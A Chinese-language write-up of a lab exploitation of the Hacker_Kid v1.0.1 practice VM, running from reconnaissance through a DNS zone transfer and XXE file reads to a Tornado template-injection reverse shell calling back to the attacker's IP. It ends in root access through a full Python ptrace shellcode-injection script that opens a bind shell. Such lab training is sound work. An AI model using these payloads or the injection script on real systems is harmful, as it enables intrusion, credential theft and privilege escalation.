实验主机:Hacker_Kid-v1.0.1靶机一台/Kali linux攻击机一台
Hacker_Kid-v1.0.1靶机 IP:192.168.3.225
Kali linux攻击机 IP:192.168.3.32
实验网络:桥接模式
实验目标:获取靶机的Root权限
目录
一、环境部署
- 下载导入靶机 --- 打开vmware–文件–打开–Hacker_Kid-v1.0.1.ova
- 将靶机网络适配器改为桥接模式
- 启动靶机
二、信息收集
1. 扫描主机
arp-scan -l #192.168.3.225
可以查看靶机的物理地址,来到这里比对
2. 使用nmap对靶机开放的端口进行更详细的扫描,开放53/80/9999三个端口
nmap -A -T4 -p- 192.168.3.225
53:DNS服务
80:http服务
9999:http tornado服务(tornado是python的web框架)
3. 访问80端口:http://192.168.3.225
访问9999端口:http://192.168.3.225:9999/ 发现是一个登录页面
4. 目录识别
dirsearch -u http://192.168.3.225/
5. 查看首页网页源码发现提示,让我们使用GET参数page_no去浏览页面
6. 尝试使用page_no=1进行测试,发现页面提示深入一点是不对的,需要我们深入尝试更多的数字
7. 使用抓包进行爆破,发现page_no=21
,进行访问发现域名 hackers.blackhat.local
8. 将域名添加到/etc/hosts文件上
9. 前面提示我们要用dig,所以我们用dig工具
dig [@server] [-b address] [-c class] [-f filename] [-k filename] [-m] [-p port#] [-q name] [-t type] [-x addr] [-y [hmac:]name:key] [-4] [-6] [name] [type] [class] [queryopt…]
使用dig命令,您可以查询各种DNS记录的信息,包括主机地址,邮件交换和域名服务器。它是系统管理员中用于排除DNS问题的最常用工具,它具很高的灵活性和易用性。
@<服务器地址>:指定进行域名解析的域名服务器;
-b<ip地址>:当主机具有多个IP地址,指定使用本机的哪个IP地址向域名服务器发送域名查询请求;
-f<文件名称>:指定dig以批处理的方式运行,指定的文件中保存着需要批处理查询的DNS任务信息;
-P:指定域名服务器所使用端口号;
-t<类型>:指定要查询的DNS数据类型;
-x<IP地址>:执行逆向域名查询;
-4:使用IPv4;
-6:使用IPv6;
-h:显示指令帮助信息。
10. 使用dig axfr @192.168.3.225 blackhat.local
命令,发现成功同步到dns服务器的数据,DNS安全配置存在问题,正常情况下应该只能在同一区域不同DNS服务器之间同步数据
11. 我们发现新的域名hackerkid.blackhat.local
,将他添加到/etc/hosts文件中。在kali里面访问域名
三、漏洞探测
1. 访问域名发现存在一个创建账号的页面,先尝试提交下信息进行抓包,发现是xml格式进行的信息交互,盲猜可能存在xxe漏洞。
四、漏洞利用
1. 使用XXE payload尝试读取/etc/passwd文件,在返回值中我们发现只有root和saket用户具备登陆bash的权限
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root>
<name>
admin
</name>
<tel>
111
</tel>
<email>
&test;
</email>
<password>
admin
</password>
</root>
2. 尝试读取.bashrc文件,bashrc 配置文件可以对命令进行自定义,在这里我们直接读取是报错的,使用php的base64过滤器进行编码并读取信息
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]><root>
<name>
admin
</name>
<tel>
111
</tel>
<email>
&test;
</email>
<password>
admin
</password>
</root>
3. 对Base64进行解码,在解码后内容发现一个账密信息
username="admin"
password="Saket!#$%@!!"
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aF9jb21wbGV0aW9uCiAgZmkKZmkKCiNTZXR0aW5nIFBhc3N3b3JkIGZvciBydW5uaW5nIHB5dGhvbiBhcHAKdXNlcm5hbWU9ImFkbWluIgpwYXNzd29yZD0iU2FrZXQhIyQlQCEhIgo=
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth
# append to the history file, don't overwrite it
shopt -s histappend
# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000
# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize
# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar
# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
debian_chroot=$(cat /etc/debian_chroot)
fi
# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
xterm-color|*-256color) color_prompt=yes;;
esac
# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes
if [ -n "$force_color_prompt" ]; then
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
# We have color support; assume it's compliant with Ecma-48
# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
# a case would tend to support setf rather than setaf.)
color_prompt=yes
else
color_prompt=
fi
fi
if [ "$color_prompt" = yes ]; then
PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt
# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
;;
*)
;;
esac
# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
alias ls='ls --color=auto'
#alias dir='dir --color=auto'
#alias vdir='vdir --color=auto'
alias grep='grep --color=auto'
alias fgrep='fgrep --color=auto'
alias egrep='egrep --color=auto'
fi
# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'
# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'
# Add an "alert" alias for long running commands. Use like so:
# sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.
if [ -f ~/.bash_aliases ]; then
. ~/.bash_aliases
fi
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"
4. 拿到账密以后,通过前期信息收集,只发现9999端口上存在登陆页面,使用账密进行登录发现失败
5. 想到刚才看到的/etc/hosts文件中的用户信息saket,本来账号密码就是在saket用户下发现,那么此处的登录名是否就是saket,那就先尝试下,发现会成功登录
6. 登录进去会发现告诉网站name,那么是否是get型或post型传参,用name变量进行测试,页面成功输出。经过测试,此处使用的name传参是get型
http://192.168.3.225:9999/?name=test
7. 在前面进行信息收集时,我们已经知道9999端口对应的服务是Tornado,这是一个Python的Web服务框架,这个框架是可能存在SSTI模板注入的,我们先拿payload尝试一下。首先第一个payload成功执行,输出了一个49的值,第二个payload是一个模板注入通用payload,页面报错说明存在模板注入漏洞
${7*7},{{7*7}} ## 测试哪个表达式被执行了
{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz] //SSTI通用测试payload,报错说明存在漏洞
8. 既然存在模板注入漏洞,那就可以进行反弹shell的操作,首先在kali上监听端口,并将python反弹shell语句使用,进行url编码
kali:nc -nvlp 9999
# 这里kali突然改了个IP192.168.3.21
编码前:{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.3.21/9999 0>&1"')}}
编码后:%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.21%2F9999%200%3E%261%22')%7D%7D
http://192.168.3.225:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.21%2F9999%200%3E%261%22')%7D%7D
五、提权
1. sudo -l 查看是否有可提权的命令,但是不能用这种办法
2. SUID提权,也不能利用
原理:SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限
find / -perm -4000 2>/dev/null ##查看是否具有root权限的命令
常见可用于提权root权限文件
nmap
vim
find
bash
more
less
nano
cp
awk
下面这个方法成功了
1. 新建提权脚本1.py,写入数据
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
2. 将脚本下载到靶机中
python -m http.server 80
wget http://192.168.3.21:80/1.py
3. 使用ps -aux | grep root
获取到root用户权限执行的进程
4. 将代码注⼊到以root账户运⾏的进程,查看5600端⼝是否开放
python2.7 1.py 862 //这个不行可以换其他的进程号
netstat -an | grep 5600
批量运行:for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 1.py $i; done
5. 使用nc直接连接到靶机5600端口,成功建立连接
nc 192.168.3.225 5600
python3 -c 'import pty; pty.spawn("/bin/bash")'